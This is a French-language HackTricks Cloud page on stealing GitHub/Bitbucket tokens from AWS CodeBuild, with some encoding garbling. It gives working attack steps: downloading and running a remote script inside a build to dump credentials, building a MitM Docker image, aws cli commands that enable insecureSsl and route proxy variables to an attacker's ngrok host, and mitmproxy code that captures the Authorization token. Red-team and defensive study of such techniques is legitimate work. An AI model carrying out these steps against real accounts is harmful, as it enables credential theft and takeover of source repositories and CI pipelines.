AWS Codebuild - Token Leakage
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Récupérer les Tokens Github/Bitbucket configurés
Tout dâabord, vĂ©rifiez sâil existe des source credentials configurĂ©s que vous pourriez leak:
aws codebuild list-source-credentials
Via RCE dans un job CodeBuild
Depuis lâintĂ©rieur dâun job CodeBuild, vous pouvez atteindre un endpoint API non documentĂ© dâAWS CodeBuild qui vous renverra les identifiants utilisĂ©s par CodeBuild. Cela permet dâobtenir les identifiants avec lesquels le job CodeBuild a Ă©tĂ© configurĂ©, par ex. les identifiants AWS CodeConnection, OAUTH ou PAT. Le job CodeBuild nâa pas besoin dâavoir des privilĂšges pour interroger cet endpoint, et il est Ă©galement difficile de le dĂ©tecter dans les logs et la surveillance, car CodeBuild appelle luiâmĂȘme cet endpoint plusieurs fois au dĂ©marrage.
La technique est expliquĂ©e plus en dĂ©tail dans https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ mais en rĂ©sumĂ©, pour obtenir les identifiants depuis le job CodeBuild, il suffit dâexĂ©cuter ce qui suit :
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Via Docker Image
If you find that authentication to for example Github is set in the account, you can exfiltrate that access (GH token or OAuth token) by making Codebuild to use an specific docker image to run the build of the project.
Pour cela, vous pouvez crĂ©er un nouveau projet Codebuild ou modifier lâenvironment dâun projet existant pour dĂ©finir lâimage Docker.
The Docker image you could use is https://github.com/carlospolop/docker-mitm. This is a very basic Docker image that will set the env variables https_proxy, http_proxy and SSL_CERT_FILE. This will allow you to intercept most of the traffic of the host indicated in https_proxy and http_proxy and trusting the SSL CERT indicated in SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Suivez les instructions du repo pour dĂ©finir lâadresse IP de votre proxy et votre certificat SSL, puis build the docker image.
- NE PAS DĂFINIR
http_proxypour ne pas intercepter les requĂȘtes vers le metadata endpoint. - Vous pouvez utiliser
ngrokpar exemplengrok tcp 4444pour dĂ©finir le proxy vers votre hĂŽte - Une fois que vous avez construit lâimage Docker, upload it to a public repo (Dockerhub, ECRâŠ)
- Set the environment
- CrĂ©ez un nouveau projet Codebuild ou modifiez lâenvironnement dâun projet existant.
- Configurez le projet pour utiliser lâimage Docker gĂ©nĂ©rĂ©e prĂ©cĂ©demment
.png)
- Set the MitM proxy in your host
- Comme indiqué dans le Github repo vous pouvez utiliser quelque chose comme:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
La version de mitmproxy utilisĂ©e Ă©tait 9.0.1, il a Ă©tĂ© signalĂ© quâavec la version 10 cela pourrait ne pas fonctionner.
- Lancer la build & récupérer les identifiants
- Vous pouvez voir le token dans lâen-tĂȘte Authorization:
.png)
Cela peut aussi ĂȘtre fait depuis lâaws cli avec une commande comme
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild projects ont un paramĂštre appelĂ© insecureSsl qui est cachĂ© dans lâinterface web et que lâon ne peut modifier que via lâAPI.
Lâactiver permet Ă Codebuild de se connecter au rĂ©fĂ©rentiel sans vĂ©rifier le certificat prĂ©sentĂ© par la plateforme.
- Tout dâabord, vous devez Ă©numĂ©rer la configuration actuelle avec quelque chose comme :
aws codebuild batch-get-projects --name <proj-name>
- Ensuite, avec les informations collectées, vous pouvez mettre à jour le paramÚtre de projet
insecureSslĂTrue. Voici un exemple de mise Ă jour dâun projet ; remarquezinsecureSsl=TrueĂ la fin (câest la seule chose Ă modifier dans la configuration rĂ©cupĂ©rĂ©e). - De plus, ajoutez Ă©galement les variables dâenvironnement http_proxy et https_proxy pointant vers votre tcp ngrok comme suit :
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Ensuite, exĂ©cutez lâexemple de base depuis https://github.com/synchronizing/mitm sur le port indiquĂ© par les variables de proxy (http_proxy et https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Enfin, cliquez sur Build the project, les credentials seront envoyés en clair (base64) vers le port mitm :
 (1).png)
Par le protocole HTTP
[!TIP] > Cette vulnĂ©rabilitĂ© a Ă©tĂ© corrigĂ©e par AWS Ă un moment la semaine du 20 fĂ©vrier 2023 (je pense vendredi). Donc un attaquant ne peut plus lâexploiter :)
Un attaquant avec des privilÚges élevés sur un CodeBuild pourrait leak le Github/Bitbucket token configuré ou, si les permissions ont été configurées via OAuth, le token OAuth temporaire utilisé pour accéder au code.
- Un attaquant pourrait ajouter les variables dâenvironnement http_proxy et https_proxy au projet CodeBuild pointant vers sa machine (par exemple
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Ensuite, changer lâURL du repo github pour utiliser HTTP au lieu de HTTPS, par exemple :
http://github.com/carlospolop-forks/TestActions - Ensuite, lancer lâexemple basique de https://github.com/synchronizing/mitm sur le port indiquĂ© par les variables proxy (http_proxy et https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Ensuite, cliquez sur Build the project ou démarrez la build depuis la ligne de commande :
aws codebuild start-build --project-name <proj-name>
- Enfin, les credentials seront envoyés en clair (base64) vers le port mitm :
.png)
Warning
DĂ©sormais, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilĂšges dont il dispose et (ab)user plus facilement que sâil utilisait directement le service CodeBuild.
Exécution de PR non approuvée via une mauvaise configuration du filtre webhook
Pour la chaßne de contournement du webhook déclenchée par une PR (ACTOR_ACCOUNT_ID regex + exécution de PR non approuvée), consultez :
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

